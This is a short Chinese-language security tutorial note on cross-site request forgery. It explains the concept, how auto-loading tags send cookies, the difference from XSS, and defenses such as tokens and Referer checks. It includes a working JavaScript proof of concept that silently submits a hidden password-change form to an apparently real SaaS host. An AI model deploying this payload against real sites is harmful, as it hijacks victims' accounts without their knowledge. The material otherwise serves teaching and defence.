CSRF跨站请求伪造
3.1概念:
挟制用户在当前已登录的web应用程序上执行非本意操作的攻击方法。(攻击者盗用用户在某网站的身份,以用户身份发送恶意请求)
3.2原理:
简单身份验证只能保证前请求发自用户的浏览器,不能保证请求本身是用户自愿发出的。
HTML中可自动发送HTTP GET请求的标签:img、ifream、src、link
如img标签,浏览器渲染时,并不知道标签中src属性的值是否真的为图片,会根据src中的链接,发起一个HTTP GET请求,携带当前浏览器在目标网站上的凭证(cookie),获取返回结果以图片形式渲染
完成一次CSRF攻击,受害者需要完成的两个步骤:
1、登录信任网站,并在本地生成cookie
2、不退出情况下,访问危险网站
CSRF分类:GET类和POST类
CSRF与XSS信任角度区别:
XSS:利用用户对网站的信任
CSRF:利用站点对已经身份认证的信任
一般都存在于一些增删改的功能点上
JS:POC
<script type="text/javascript"> // 构造form表单 var frm = document.createElement('form'); frm.action = 'https://saas.jingyingba.com/do/'; frm.method = 'post'; frm.target = 'iframe'; // 设置新的密码 var i1 = document.createElement('input'); i1.name = 'question'; i1.value = 'RenewPWD'; var i2 = document.createElement('input'); i2.name = 'pwd'; i2.value = 'rmb521'; // 把input放到表单里 frm.appendChild(i1); frm.appendChild(i2); // 新建 框架,让表单去框架里跳转 iframe var ifr = document.createElement('iframe'); ifr.name = 'iframe'; // 把表单添加到head里 隐藏 document.head.appendChild(frm); document.head.appendChild(ifr); frm.submit(); //提交表单 去修改密码 </script>
3.3 CSRF防御:
关键操作增加验证码(如支付密码)
验证HTTP referer字段
使用token